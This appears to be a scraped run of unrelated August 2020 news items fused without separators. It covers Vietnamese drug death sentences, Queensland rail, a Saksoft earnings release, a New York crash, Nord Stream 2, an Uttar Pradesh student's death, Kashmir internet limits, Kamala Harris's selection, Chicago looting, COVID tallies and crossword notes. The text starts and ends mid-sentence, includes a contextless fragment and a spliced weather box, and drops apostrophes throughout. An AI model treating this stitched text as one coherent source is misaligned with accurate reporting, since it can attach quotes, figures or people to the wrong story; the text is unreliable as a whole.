Alliance of Canada, the union which represents 160 museum employees, said Khans appointment was a strong first step in whats hopefully a new era for the embattled institution. "Her background in human rights is absolutely critical," said Hladun. "For us, having that knowledge and experience will be crucial in supporting employees in the work they do to implement the mandate of the museum." ben.waldman@freepress.mb.ca Four drug traffickers sentenced to death in central Vietnam Le Ngoc Son (first row, R) and others involved in his cross-border drug trafficking ring stand trial in Nghe An Province, August 10, 2020. Photo by VnExpress/Hai Binh. A court in the central province of Nghe An on Monday sentenced four men to death for trafficking 28.7 kilograms of methamphetamine from Laos. Le Ngoc Son, 35, the leader of a cross-border gang, and three accomplices, Tran Van Luc, 40, Nguyen Quang Bich, 34, and Mai Dinh Phuoc, 36, were found guilty of "illegal trading of narcotic substances." Four others received jail terms of 15 years to life. They transported drugs from Laos to Nghe An before delivering them to other parts of Vietnam. In July 2017 Phuoc, Bich and two others were arrested while transporting 10 kg of meth from Hanoi into HCMC by bus. Based on their testimonies, the police arrested other members of the ring. Son left his hometown, Vinh, and fled to China. But he returned home in October 2018 and was taken in by the local police. Investigators said in June and July 2017 the gang had traded 28.7 kg of meth. With meth becoming a substance favored by hard-partying youth, drug busts and convictions have been increasing in Vietnam though the country has very tough drug laws. Those convicted of possessing or smuggling more than 600 grams of heroin or more than 2.5 kilograms of methamphetamine face the death penalty. The production or sale of 100 grams of heroin or 300 grams of other illegal narcotics is also punishable by death. Premier Annastacia Palaszczuk has defended her government's decision to forge ahead with a new train station for its Cross River Rail project despite experts warning of engineering and safety flaws. Confidential briefing notes leaked to the state opposition reveal that technical experts, contract bidders and the project's delivery authority warned of issues with building the new Boggo Road station and upgrading Dutton Park station. The consortium chosen to build the $5.4 billion project originally wanted to redevelop land at the back of the Princess Alexandra Hospital, known as the "New Dutton Park", but the proposal was rejected by the governments cabinet budget review committee last year. The Cross River Rail Delivery Authority advised then-minister Jackie Trad in February 2019 that the New Dutton Park station would be cheaper, reduce noise and benefit staff and patients at the PA Hospital. [August 11, 2020] Saksoft Limited: EBITDA Margin at 15.8%, growth of 93 bps on Q-o-Q basis CHENNAI, India, Aug. 11, 2020 /PRNewswire/ -- Saksoft Limited (BSE: 590051) (NSE: SAKSOFT), announced its un-audited financial results for the Quarter ended 30th June 2020. Commenting on the results and performance Aditya Krishna, Chairman & Managing Director of Saksoft Ltd said: "In these unprecedented times, our focus on always doing what is right for our customer's businesses has further strengthened our customer relationships. In a difficult quarter we have managed to maintain both our top-line and bottom-line and we are hopeful to grow revenues as soon as our customers begin to increase their IT spending. Our value proposition of supporting mission critical digital applications in select industry verticals will ensure high demand for our services in our target market." Result Highlights Q1FY21 on Q-o-Q basis : Revenue The Company recorded Revenue of Rs. 93.75 Crs during Q1FY21, as against Rs. 92.90 Crs in Q4FY20, growth of 0.9% on a Q-o-Q basis During the quarter, we have added a customer in 0.5 Million Dollar plus segment EBITDA EBITDA for the quarter stood at Rs. 14.85 Crs as compared to Q4FY20 of Rs. 13.85 Crs, a growth of 7.2% on Q-o-Q basis EBITDA Margin stood at 15.8%, an increase of 93 bps on a Q-o-Q basis Cost rationalization and Prudent cost control measures will continue as one of the major focus area for the Management Profitability* PAT for the quarter stood at Rs. 10.13 Crs as compared to Q4FY20 of Rs. 9.80 Crs, a growth of 3.4% on a Q-o-Q basis PAT Margin stood at 10.8%, an increase of 26 bps on a Q-o-Q basis Efficient use of working capital has resulted in reduction in finance cost and improved net profit. *PAT before minority interest COVID-19 Update: The Company continues to actively manage its business during COVID-19 pandemic and has not yet experienced significant changes in the business The Company has been able to successfully address the business challenges while rapidly addressing the needs of the clients Cost Rationalization and prudent capital management initiatives led to increase in business efficiencies OPERATIONAL METRICS Particulars Q1 20-21 YTD 19-20 1. REVENUE METRICS- % A. Revenue by Geo * Americas 49% 50% Europe 30% 27% Asia/ Asia Pacific & Others 21% 23% B. Revenue Mix Onsite 50% 49% Offshore 50% 51% C. Revenue by Industry Verticals Fintech 28% 29% Retail and Health Care 10% 13% Public Sector 14% 11% Telecom 22% 20% Transportation & Logistics 9% 10% Others 17% 18% 2. CUSTOMER METRICS A. Client Metrics- No of clients/customers per Million Dollar** >1 MN 6 6 >0.5Mn to 1Mn 8 7 B. Client's Contribution to Revenue Top 5 49% 47% Top 10 59% 55% Top 20 69% 64% 3. HEADCOUNT METRICS A. Headcount & Utilisation Total Employee Count 1229 1258 Technical 1078 1121 Support 151 137 B. Utilisation-IT Services Excluding trainees 81% 83% ** Annualised Figures About Saksoft Limited Saksoft Limited is a leading player in providing digital transformation solutions to help businesses stay relevant in a highly connected, rapidly evolving world. Saksoft is a niche technology specialist that provides a comprehensive suite of business transformation, information management, application development and testing services. Saksoft helps their clients level the playing field by helping them transform their business spaces. Saksoft is headquartered in Chennai (India), and has 14 offices across the USA, Europe and Asia employing over 1,200+ people. For more information, please visit www.Saksoft.com Safe Harbor Statement Statements in this document relating to future status, events, or circumstances, including but not limited to statements about plans and objectives, the progress and results of research and development, potential project characteristics, project potential and target dates for project related issues are forward-looking statements based on estimates and the anticipated effects of future events on current and developing circumstances. Such statements are subject to numerous risks and uncertainties and are not necessarily predictive of future results. Actual results may differ materially from those anticipated in the forward-looking statements. The company assumes no obligation to update forward-looking statements to reflect actual results changed assumptions or other factors. For further information, please contact: CIN: L72200TN1999PLC054429 Mr. Niraj Kumar Ganeriwal, CFO niraj.ganeriwal@saksoft.com Ms. Swetaleen Tripathy +91-9840024120 swetaleen.t@saksoft.com [ Back to the Next Generation Communications Community's Homepage ] Montague, N.Y. State police have released more information on a crash over the weekend that killed a 25-year-old St. Lawrence County man, whose brutally honest, tongue-in-cheek obituary went viral. Police said Cody Holland, of Ogdensburg, was driving a 2017 Dodge Ram pickup truck west on Sears Pond Road in the Lewis County town of Montague around 10 p.m. Saturday when he lost control due to unsafe speed and went off the road. The truck went off the north side of the road and struck several trees before finally coming to rest on the drivers side around 25 feet away from the road. Holland was pronounced dead at the scene. A passenger in the truck, 22-year-old Braeden Fargo, also of Ogdensburg, suffered minor injuries and was treated at Samaritan Medical Center in Watertown. Hollands obituary states that he died as a result of injuries sustained from being a dumb ass. He drank, drove, and didnt wear his seat belt! State Police Trooper Jack Keller said he did not have any information on whether alcohol or lack of seatbelts contributed to the crash. The crash remains under investigation. German Foreign Minister Heiko Maas said on Monday that he had complained to U.S. Secretary of State Mike Pompeo about the threat of sanctions against a German port company due to the Nord Stream 2 project. Maas said he spoke with Pompeo over phone on Sunday to complain about the decision by three U.S. senators who threatened the German port operator Faehrhafen Sassnitz with sanctions over its support of the Russia-Germany gas pipeline project. In their letter which got published on Friday, the three senators warned that the port operator could destroy its future financial viability if it does not cease all cooperation with companies working on the pipeline stretching 1,230 km from Russia to Germany via the Baltic Sea. "I mentioned it in a telephone call yesterday and expressed my surprise and displeasure," said Maas on Monday in Berlin. Washington and Berlin have long been at odds at the Nord Stream 2 pipeline. U.S. President Donald Trump has long voiced his discontentment about the Nord Stream 2 project, complaining about Germany's large payment to Russia on energy and "delinquency" on military spending. German government and officials have repeatedly condemned the U.S. sanctions and Washington's extraterritorial administration. Last week, Bundestag economic committee chairman Klaus Ernst called on the German government to consider countermeasures and, if necessary, implement punitive tariffs against the U.S. LNG gas. Namita Bajpai By Express News Service LUCKNOW: Another incident reflecting the deteriorating law and order situation in Uttar Pradesh surfaced on Tuesday when a 20-year-old woman from Greater Noida's Dadri fell prey to the advances of eve-teasers and lost her life after her two-wheeler met with an accident in Bulandshahr district. The victim was pursuing higher studies in the United States on a scholarship. Her family members have alleged that the accident took place because two bike-borne men were harassing her. UP CM Yogi Adityanath has taken cognizance of the incident. He has given a 24-hour deadline to Bulandshahr police authorities to nab the culprits and bring them to book. Sudeeksha Bhati, 20, was a brilliant and meritorious student student who had topped in her intermediate exams and was studying at Babson College in the US. She had come home for holidays and had to return to the US on August 20. Bulandshahr: A girl from Dadri who was studying at a College in the US lost her life in a road accident in Aurangabad yesterday. Atul Srivastava, SP City says, "Case has been registered and we trying to nab the accused. Further probe underway." pic.twitter.com/zrAJoeI7n4 ANI UP (@ANINewsUP) August 11, 2020 According to Sudeekshas father Jitendra Bhati, she was going to a relative's place in Aurangabad with her uncle when her two-wheeler collided with the bike of hooligans who stopped it in front of her scooty on the AurangabadBulandshahr road. She fell down and died on the spot, said the father. He said that Sudeeksha was riding pillion when two bike-borne boys started harassing her and began performing stunts, which allegedly led to the accident. SP City Bulandshahr, Atul Kumar Srivastava, said, Sudhiksha was going to a relative's place with her cousin on a bike when she met with an accident and died on the spot. The bike she was riding pillion, collided with a Bullet motorcycle. A case has been registered in this regard and a hunt is on for the owner of the motorcycle that collided with the bike. Police in Bulandshahr said the probe into the accident and the death of the girl was on. They claimed that none of the two-wheeler riders were wearing helmets. Police sources also claimed that the scooty of Sudeeksha was being driven by her minor brother and not her uncle. As per local sources, Sudeeksha belonged to a lower middle class family. Her initial schooling had been done in the primary school of her village where her father Jitendra Bhati is a tea seller. After clearing her class 12 under the CBSE securing 98 percent marks in 2018, Sudeeksha won a Rs 4 crore scholarship to pursue further studies at Babson College. She had been pursuing an undergraduate course in entrepreneurship at this college. As news of the incident spread, opposition parties launched a broadside on the Yogi Adityanath government over the law and order condition in the state. While Congress leaders said it showed the failure of the state law and order machinery as hooligans were roaming with impunity, the Samajwadi Party also raised questions over the law and order situation in the state claiming that criminals in UP had no fear of the police. Speaking to the media, party spokesperson Anurag Bhadauria said, "The UP government has failed and is only busy in doing politics of religion and caste. The government was making tall claims about law and order in the state but all those claims have fallen face-first today. There is no fear of police in the criminals today, all because of the failed governance by the state government." Bahujan Samaj Party chief Mayawati also launched an attack on the Yogi Adityanath-led government in the state over the issue and demanded strict action against the culprits. "The promising student Sudeeksha Bhati, who was going on a bike with her uncle in Bulandshahr, lost her life due to eve-teasers, which is extremely sad and condemnable. How will daughters progress? UP government should take strict legal action against the culprits immediately, this is a strong demand of BSP," the BSP chief tweeted. Oftentimes, people who are in the state-operated facilities, they dont have funding, Scholl said. When they get out of the hospital, they need a lot of help in getting all of those resources. Well be able to help them to apply for a medical card, help them with getting their groceries and getting things set up, get their medicine, everything that they would need coming out to live in to the community successfully. Restrictions on 4G mobile internet will be relaxed in one district each of Jammu and Kashmir divisions of Indias youngest Union Territory (UT) after August 15 on a trial basis, the central government told the Supreme Court on Tuesday, stopping short of a blanket removal of restrictions across the region because of security concerns. The decision was arrived at on the recommendations made by a special committee constituted on the top courts May 11 directive to the Centre to review restrictions on high-speed mobile internet in J&K, the governments senior-most law officer, attorney general KK Venugopal, informed a three-judge bench headed by justice NV Ramana. Access to high speed internet could be provided on a trial basis in a calibrated manner in specified limited areas to assess the impact on the security scenario; the area should have low intensity of terrorist activities. The relaxation from 2G to 4G should be limited for the present to one district each in the Jammu division and Kashmir division, Venugopal said, reading out the committees recommendations. The relaxation will be reviewed by state authorities every seven days and by central authorities after two months, Venugopal added, maintaining that total relaxation of such restrictions in the entire UT will not be possible due to continuing security concerns. Any opening on a trial basis should not be in any area adjoining the International Border/Line of Control. Keeping in view the heightened threat perception, these relaxations would come into effect after August 15, 2020. The Supreme Court was hearing a petition filed in June by the Foundation for Media Professionals, a non-government organisation, seeking initiation of contempt proceedings against the Centre and J&K administration for failure to comply with the top courts May 11 directions to review restrictions on mobile internet speeds in the Union Territory, where people are only able to access 2G services. The top court appreciated the stand taken by the Centre and closed the contempt case on Tuesday based on Venugopals submission. This is a good stand by the respondent, justice R Subhash Reddy, who was on the bench, remarked. This is a step forward, the petitioners counsel, Huzefa Ahmadi, acknowledged. However, the court asked the Centre to respond to an interim application by the petitioner which pointed out that the government was not publishing in the public domain copies of the orders reviewing internet restrictions. Under a Supreme Court ruling on January 10, orders by government authorities imposing restrictions on the internet have to be put out in the public domain. The Centre has to file its response within two weeks after which the court will pronounce its order. While it is a welcome step that the restrictions are sought to be eased soon, the continuing lack of clarity on the material before the review committee constituted under Telecom Services Suspension Rules and the special review committee set up by the Supreme Court on May 11, particularly on whether such material is fresh or stale, is troubling. Subjecting fundamental rights of the people of an entire region to a process of trial and error is, for want of a better expression interesting, said Supreme Court advocate Prasanna S. When the contempt case was last heard on August 7, the apex court asked the Centre to explore the possibility of restoring 4G mobile internet services in the Valley in view of statements made by former lieutenant governor (L-G) of J&K GC Murmu advocating such a move. L-G Murmu has said that there is no difficulty in restoring 4G. You have to give an explanation to that, justice R Subhash Reddy told solicitor general Tushar Mehta, who appeared for the Jammu & Kashmir administration, last Friday. Murmu, who was succeeded by Manoj Sinha as the lieutenant governor on August 7, said on July 24 that the restoration of 4G services would not be a problem and Pakistan will continue with its propaganda even if the mobile internet speed is restricted to 2G. The centre submitted, on Tuesday, that the special committee took inputs from security forces and local agencies before concluding on August 10 that threat perception due to terrorist activities in the Union Territory continues to be high. The committee was of the considered view that given the current security scenario, both in Jammu and Kashmir and in surrounding areas, the overall situation is still not conducive to lifting the limited restrictions on high speed internet through mobile devices whilst allowing broadband and 2G across the board, Venugopal said. The committee, comprising the secretary of ministry of home affairs, secretary of ministry of communications and the chief secretary of J&K, was constituted based on Supreme Courts May 11 order. That order was passed in an earlier plea filed in April by the same NGO, pointing out that lack of 4G services in the UT was causing difficulties to medical and health professionals and the general population in accessing the latest government advisories and other information during the coronavirus disease (Covid-19) pandemic. Restrictions on internet services were first introduced in August 2019 when J&K was placed under lockdown after the scrapping of the contentious Article 370 that conferred special status on it, and its bifurcation into two Union territories, J&K and Ladakh. On Tuesday, Democratic presidential candidate Joe Biden announced Sen. Kamala Harris (D-Calif.) as his official running mate, making her the first Black woman and first South Asian-American woman to be selected as the vice presidential nominee of a major party. In an email announcement to his supporters, Biden welcomed Harris to his team saying, "I need someone alongside me who is smart, tough and ready to lead. Kamala is that person." Harris, who is the first South Asian-American woman and second Black woman in history to serve in the U.S. Senate, was born in Oakland, California to an Indian mother and a Jamaican father. She is a graduate of the historically Black college Howard University, and the University of California, Hastings College of the Law. Twitter After law school, she started her career in the Alameda County District Attorney's Office before transferring to the San Francisco District Attorney's Office in 1998, according to her website. In 2010, she became the first woman and first African-American elected to serve as attorney general for the state of California. Harris, who was a former 2020 presidential candidate, has since received a lot of praise for her nomination from political leaders and Black women voters who have used the hashtag #WinWithBlackWomen to show their solidarity for her leadership and representation in politics. Twitter Twitter Twitter Former National Security Adviser Susan Rice, who was rumored to be on Biden's shortlist of possible VP picks, also took to Twitter to congratulate Harris on her nomination saying, "I am confident Biden-Harris will prove to be a winning ticket." Twitter Former President Barack Obama said that Biden "nailed this decision" in a statement via Twitter and said that Harris is "more than prepared for the job." Twitter Biden's nomination of Harris is not only a historic one, but it is also a strategic one with Black women voters historically playing a huge role in past elections. Despite making up 7% of the population, Black women tend to vote at higher rates than other racial groups, voting at or above 60% in the past five presidential cycles, reports The Washington Post. Additionally, Black women voters are the most loyal voters to the Democratic Party with 94% of Black women voting for Hillary Clinton in 2016, the highest rate of any group. In a tweet released on Tuesday, Harris thanked Biden for the nomination and said "she's honored to join him" as the Democratic party's nominee for vice president. Twitter CNBC Make It is NOW STREAMING on Peacock. Find our original programming in the Channels section. Don't miss: Meet Cori Bush, the Black Lives Matter activist who just defeated a veteran Missouri congressman This week continues the staggered move-in of students on the University of North Georgia's (UNG) Dahlonega Campus. Cadets began a phased move-in Aug. 1 to limit the number of cadets arriving each day. Fewer than 105 cadets moved in per day, and a medical screening was the first stop on campus for each. Beginning Aug. 12, other residential students will move in across a four-day window, with fewer than 20 students moving into any particular residence hall at a time. Non-cadet residential students were given the option to choose their own move-in time slot. "Residence Life is excited to offer a socially distant, multiday move-in experience for our students," said Treva Smith, director of Residence Life. "Occupancy in the residence halls will be limited each day to allow students and families an opportunity to move into the residence halls with minimal interaction. For new students, their move-in time will coordinate with a socially distanced in-person orientation session as well." For Residence Life staff and resident assistants (RAs), the training process which included COVID-19 protocols and diversity and inclusion information evolved to fit the realities of the pandemic. Training for 70 RAs last week was spread across the Convocation Center. Students will be limited to two people to assist them with moving in. Residence Life will provide carts for students to use during the move-in process. Carts will be disinfected with spray between users. Student Health Services personnel will be available on move-in day for temperature checks and to ensure students have completed a questionnaire about safe practices. Residential students, like all UNG students and employees, will be expected to complete a daily self-check before leaving their residence hall and going to other parts of campus this fall. "We pride ourselves on the first impression and making students feel welcome," said Jared Patterson, coordinator for first-year transitions with Residence Life. "That's even more important in the current climate. It's a delicate balance between making them feel safe and making them feel welcome." Students moving in this week also will be advised about new requirements such as cleaning their own rooms, restrictions on in-room visitation and a ban on guests in residence halls. "UNG has instituted a number of measures aimed at keeping the UNG community safe and healthy during the COVID-19 pandemic, including cloth face coverings, social distancing and enhanced cleaning," Smith said. "Cloth face coverings are required in UNG buildings and facilities. Face coverings are not required in one's own residence hall room or suite, when alone in an enclosed office or study room, or in campus outdoor settings where social distancing requirements are met." One UNG face covering will be given to each student during move-in. Students also are urged to bring additional face coverings and disinfectant products with them when they move into the residence halls. William Loudermilk, a senior from Lavonia, Georgia, pursuing a psychology degree, enters his third full year as an RA this fall. This year will be unlike any he has seen before, but his role will still focus heavily on pointing residents to mental health resources when needed. "While one-on-one communication will look very different this year, I am still available to talk with students and help them find the resources they need," Loudermilk said. More information on safe practices for UNG residential students is available on the Nighthawks Together website detailing UNG's fall 2020 plan. Chicago-Area Prosecutor, Judge Challenge Claims That Lack of Consequences Led to Rioting A Chicago-area prosecutor and the chief Cook County judge challenged claims by city officials that a lack of consequences for rioting earlier this summer led to widespread looting in Chicago overnight Sunday. Cook County States Attorney Kim Foxx said the unrest in the wake of George Floyds death in police custody in Minneapolis in May requires us to ask tough questions, to do deep deliberation, and to put all hands on deck. All hands on deck means that rather than standing and pointing fingers, we work together, she said at a press conference. In a press conference Monday morning, both Chicago Police Superintendent David Brown and Mayor Lori Lightfoot appeared to blame the courts and prosecutors for not holding criminals responsible for their actions. Brown said he believed looters were confident they wouldnt face consequences. They based that on what happened previously, that we made a lot of arrests during May and June, and not many of those cases were prosecuted to the fullest extent. We have to have consequences for the arrests that Chicago police officers make, he said. These looters, these thieves, these criminals are emboldened by no consequences in the criminal system. They get released. Many charges get dropped. And so they feel emboldened to do it more. Lightfoot singled out Foxx, calling upon her and the courts to make sure that these individuals who are arrested and those to come are held accountable, put your best people on this. The interior of a looted Apple store is seen in Chicago on Aug. 10, 2020. (Kamil Krzaczynski/Reuters) Foxx, a Democrat, in late June said she would not prosecute people charged with minor offenses related to peaceful protests but told reporters Monday that her office is still prosecuting felony offenders. Just 29 percent the cases presented by Chicago police officers from protests and rioting in May and June were felonies, and 90 percent were approved for charges. Those cases where the facts and evidence support it, charges were filed, and those cases are pending to this day, Foxx said. We cannot conflate peaceful protesters with what we saw last night. Last night was not an extension of peaceful protest. Last night was not an extension of righteous anger. Last night was a blatant display of criminal behavior. What drove that behavior, how we got there, are questions we can continue to answer. Circuit Court Chief Judge Timothy Evans added in a written statement that the court must not only consider the fact that the defendant has been arrested, but also the evidence that supports the allegations and the evidence, or lack of evidence, that supports the defense. Circuit Court Chief Judge Timothy Evans, second from right, swears in then-Chicago Mayor Rahm Emanuel in Chicago on May 18, 2015. (Brian Kersey/Getty Images) While the case is pending, the courts bail decisions must balance the right of the defendant to be presumed innocent with any evidence that the defendant would pose a real and present threat to the physical safety of any person, he added. Subject to scheduling limitations required to comply with public health guidelines for responding to the COVID-19 pandemic, the circuit court of Cook County is prepared to promptly and fairly adjudicate all cases brought before it. According to data from Foxxs office analyzed by the Chicago Tribune, the prosecutors office has dismissed more than 25,000 felony cases since assuming office late last year. That amounted to charges being dropped against nearly 30 percent of felony defendants, a spike from the 19.4 percent of charges dropped by Foxxs predecessor in her last three years in office. Foxx didnt dispute the data but said it gave an incomplete picture. The cases prosecutors dismissed were against what she described as low-level, nonviolent offenders. It is always eye-opening to be able to look at our own data and compare it to my predecessors past, Foxx told the Tribune. I cant reconcile what her decision-making was, and how they chose to (dismiss) cases in the past. But I will say that this administration has been clear that our focus would be on violent crime and making sure that our resources and attention would go to addressing violent crime. The paper found that the higher rates of dropped cases included people accused of murder, shooting another person, sex crimes, and assaults on police officers. With six vaccine candidates reaching Phase 3 trials, WHO's emergencies director Michael Ryan warned that a vaccine was 'only part of the answer'. The coronavirus pandemic chalked up another horrific milestone Monday as the world surpassed 20 million recorded cases of infection from the tiny killer that has upended life just about everywhere. The number as of 3.45 am IST (22.15 GMT) was 20,002,577 cases, with 733,842 deaths recorded, according to an AFP tally of official sources. In yet another staggering landmark, the death toll is expected to surpass 750,000 in a matter of days as the global health crisis that began late last year in China rages on. It took 94 days for one million infections to be registered, after the announcement of the first official case in China. Eighty-six days later, on 28 June, the 10 million barrier was broken. The number of known infections has since doubled in a month and a half. The World Health Organization urges people not to despair as more things, once unthinkable became harsh reality like having to wear a facemask in touristy spots in Paris, or reserve a spot on Copacabana beach in Rio via an app and then social distance on the sand. "Behind these statistics is a great deal of pain and suffering... But I want to be clear: there are green shoots of hope," WHO chief Tedros Adhanom Ghebreyesus said. "It's never too late to turn the outbreak around." He gave examples of countries that had successfully clamped down on COVID-19, such as Rwanda and New Zealand, which said Monday it plans to open a virus-free "travel bubble" with the Cook Islands. With much of the world caught in a cycle of dispiriting outbreaks and economically crushing lockdowns, all eyes are on the race for a vaccine. A WHO overview said 165 candidate vaccines are being worked on around the world, with six reaching Phase 3 of clinical evaluation. But the WHO's emergencies director Michael Ryan warned that a vaccine was "only part of the answer," pointing to polio and measles as diseases with vaccines that have not been fully eradicated. "You've got to be able to deliver that vaccine to a population that want and demand to have that vaccine," he said. Around the world Infections have been rising ominously in Western Europe, which has also been sweltering through a heatwave, with temperatures soaring above 35 degrees Celsius. The blistering heat sent crowds flocking to beaches at the weekend despite health warnings about the risk of infection. In the Paris region, people aged 11 and over are now required to wear masks in crowded areas and tourists hotspots. These include the banks of the Seine River and more than 100 streets in the French capital. Several French towns and cities have already introduced similar measures, as well as parts of Belgium, the Netherlands, Romania and Spain. In Berlin, thousands of children returned to school on Monday after the summer break, sporting masks, which are compulsory in common areas like school courtyards. Greece meanwhile announced a night curfew for restaurants and bars in some of its top tourist destinations after its number of new cases increased. As of Monday evening, the United States the world's worst-hit country had recorded 163,370 deaths and 5,085,821 cases of infection, according to the tracker at Johns Hopkins University. As the caseload shot past five million on Sunday, President Donald Trump's Democratic opponent in the presidential election, Joe Biden, tweeted that the number "boggles the mind and breaks the heart." After the US, Brazil has the most cases, and over the weekend it became the second country to pass 100,000 fatalities. President Jair Bolsonaro has downplayed the coronavirus threat, and after Brazil's latest milestone, the country's most widely viewed TV network Globo asked: "Has the president of the republic done his duty?" Latin America and the Caribbean, the hardest-hit region with 5,601,470 cases and 221,281 deaths, continues to experience rapid spread with 576,583 new infections reported in the last seven days. It is followed by Asia (495,663), Canada and the US (379,017), Europe (153,879), Africa (89,644), Middle East (74,588) and Oceania (3,372). Canada and the United States make up the second hardest-hit region overall, having recorded 5,195,417 cases and 172,300 deaths, ahead of Asia (3,493,026 cases, 72,486 deaths), Europe (3,374,166 cases, 213,484 deaths) and the Middle East (1,257,417 cases, 30,363 deaths). Africa (1,057,730 infections, 23,582 deaths), which is the least-affected continent after Oceania (23,351, 346), has recorded more than half of its cases in South Africa. India is the country with the most new infections over the last week (402,287), ahead of the United States (376,471), which on Sunday passed the five million mark of officially reported cases. Brazil (301,745), Colombia (69,830) and Peru (49,174) are the next most affected nations. It was a different story in Pakistan, which allowed all restaurants and parks to reopen on Monday after the country saw a drop in new cases over several weeks. with input from wires Watertown, NY (13601) Today Snow this morning will give way to a mixture of rain and snow this afternoon. Some sleet may mix in. High 37F. Winds SSW at 15 to 25 mph. Chance of precip 100%. About one inch of snow expected.. Tonight Overcast. A few flurries or snow showers possible. Low 4F. Winds WNW at 15 to 25 mph. Amanda Rafkin: I periodically find myself experiencing a dry spell when it comes to theme ideas, so whenever I have one that really excites me, its always cause for a bit of celebration. This specific theme is one that I was particularly excited about because it makes an otherwise pretty whatever crossword entry (EIEIO) into something that feels interesting to me. My first thought was, Are there even going to be any phrases that include only the vowels EIEIO, and in that order? Luckily for us, there were! To be honest, I dont remember much else about the making of this puzzle other than the excitement of stumbling upon the idea, but I hope that when you, too, stumble across the theme, it brings you even a fraction of the joy/interest that it brought me! Additionally, in an effort to be a bigger part of the movement to make crossword puzzles a more inclusive space for everyone, I would love to hear from anyone about the elements of your experience that you feel are largely missing from the puzzles you solve. Whether its your heroes, your cuisine, your terminology, or any other element of your experience, I would love to know so I can try to be mindful of their inclusion in future grids, whether for a mainstream outlet or for the puzzles on my site (amandarafkin.blogspot.com). Feel free to reach out to me on Twitter (@amandarafkin) if you have any thoughts about how I can help to make your puzzles a more inclusive space. Ross Trudeau: Im donating payment for this puzzle to the Lebanese Red Cross. If youre looking to get into crossword constructing, and especially if you identify as nonmale, as L.G.B.T.Q., or as a person of color, Id be thrilled to offer whatever help I can to help you get your puzzles published. Contact me via Twitter (@trudeauross) or my personal puzzle site rosswordpuzzles.com. Sweden's daily increase of new coronavirus cases has been lower than Victoria's - despite having no lockdowns. Victoria's tally of new cases has continued to be higher than Sweden's, even after imposing 8pm to 5am curfews on Melbourne and the neighbouring Mitchell Shire as part of strict, Stage 4 restrictions. Three days after the start of Labor Premier Daniel Andrews' August 2 bans on everyday life, Australia's second most populated state recorded 725 new cases - four times the Swedish figure of 169. Sweden's daily increase in coronavirus cases has been lower than Victoria's despite having no lockdowns. Pictured are paddlers on a canal in the capital Stockholm That was despite Victoria's population of 6.65million being considerably lower than Sweden's 10million. During the first week of having an unprecedented five million Melburnians under the harshest lockdown ever seen in Australia, Sweden's daily new case numbers were lower than Victoria's in four out of five weekdays when data was compiled. On August 8, six days after Stage 4 had started, Victoria had 466 new cases compared with 356 in Sweden where a centre-left Social Democratic Party government is opting for a controversial herd immunity strategy with a much higher death rate. The day before, on Friday the 7th, the state had 450 new cases as opposed to 427 in Sweden. On August 6, a Thursday, Victoria reported 471 new positive COVID-19 tests while Sweden had 359 new cases. The exception to the pattern was August 4, when Victoria recorded 439 new daily cases compared with 590 in Sweden. Victoria's tally of new cases has continued to be higher than Sweden's, even after imposing 8pm to 5am curfews on Melbourne and the neighbouring Mitchell Shire as part of strict, Stage Four restrictions While Sweden's daily new COVID-19 numbers, on the surface, appeared to be mainly lower than Victoria's, infectious disease expert Professor Raina MacIntyre from the University of New South Wales' Kirby Institute pointed out Australia had carried out far more tests per capita than Sweden. Pictured are people outside in Stockholm Monash University infectious diseases physician Professor Allen Cheng, who is now on a secondment with Victoria's Department of Health and Human Services, told Daily Mail Australia, Victoria had carried out 20,000 tests a day - double the 10,000 in Sweden. While Sweden's daily new COVID-19 numbers, on the surface, appeared to be mainly lower than Victoria's, infectious disease expert Professor Raina MacIntyre from the University of New South Wales' Kirby Institute pointed out Australia had carried out far more tests per capita than Sweden. 'You cannot directly compare the numbers,' she told Daily Mail Australia. 'Case numbers are a function of testing policy - Australia has had a more aggressive testing policy than Sweden. 'Australia is doing much more testing than Sweden, so Sweden's official numbers would underestimate the true case numbers.' Even as the tougher lockdowns progressed, on August 8, Victoria had 466 new cases compared with 356 in all of Sweden, where a centre-left Social Democratic Party government is opting for a controversial herd immunity strategy Professor MacIntyre cited Our World in Data figures showing Australia was conducting 2,749 tests per million people compared with 749 for every million people in Sweden. She supports the elimination strategy of harsher lockdowns as imposed by Victoria and New Zealand earlier in the pandemic Professor MacIntyre cited Our World in Data figures showing Australia was conducting 2,749 tests per million people compared with 749 for every million people in Sweden. She supports the elimination strategy of harsher lockdowns as imposed by Victoria and New Zealand earlier in the pandemic. The federal government is opting for the softer suppression strategy under the leadership of Acting Chief Medical Officer Professor Paul Kelly. Monash University infectious diseases physician Professor Allen Cheng, who is now on a secondment with Victoria's Department of Health and Human Services, told Daily Mail Australia Victoria had carried out 20,000 tests a day - double the 10,000 in Sweden Sunetra Gupta, a professor of theoretical epidemiology in the Department of Zoology at the University of Oxford, an advocate of the herd immunity strategy, last month described Australia's approach as 'selfish and self congratulatory'. She argued the virus would only flare up again once the lockdowns were lifted. Sweden's State Epidemiologist Anders Tegnell is pushing for more Swedes to come into contact with COVID-19 so enough people develop immunity to it in the absence of an effective vaccine. The Institute of Public Affairs, a free market think tank, claimed the continuing surge in new Victorian case numbers highlighted how lockdowns weren't working. 'There are serious and legitimate questions to be asked about the effectiveness of harsh lockdown measures,' the group's director of policy Daniel Wild told Daily Mail Australia. 'The Stage 4 lockdowns in Victoria will result in a humanitarian tragedy as the scourge of mass unemployment, widespread closure of small businesses, and isolation and loneliness spread across the state.' Daily Mail Australia compared daily updates from Victoria's Department of Health and Human Services with daily World Health Organisation updates on Sweden. Swedish data was collected on weekends, which meant data for the 24 hours to Sunday and Monday showed up as zero. The Institute of Public Affairs, a free market think tank, said the continuing surge in new Victorian case numbers highlighted lockdowns weren't working Victoria's total death toll of 247 is well below's Sweden's 5,763. On a per capita basis, Sweden's death rate is the world's eighth highest with 56.59 for every 100,000 people putting it behind Italy but ahead of the United States, a John Hopkins University league table said. Australia ranked 106th with 1.25 deaths per 100,000 people despite the recent fatality uptick in Victorian aged care homes. The total case numbers in Victoria of 14,957, as of August 10, was less than Sweden's 82,323. Victoria reported 331 new cases on Tuesday with a record 19 daily deaths for the second consecutive day. The IPA estimates the state's Stage Four lockdowns will cost the Victorian economy $3.17billion a week in economy and social activity, with 300,000 job losses. Federal Treasury forecast a $12billion downturn over six weeks with up to 400,000 jobs gone. 'The devastation of the lockdown measures will be with Victorians and Australians for generations,' Mr Wild said. VICTORIA August 10: 322 August 9: 394 August 8: 466 August 7: 450 August 6: 471 August 5: 725 August 4: 439 August 3: 429 August 2: 671 August 1: 397 July 31: 627 July 30: 723 July 29: 295 July 28: 384 July 27: 532 Advertisement The New Patriotic Party (NPP) wants the flagbearer of National Democratic Congress (NDC), John Dramani Mahama, to apologise to Ghanaians for raising ethnic sentiments during 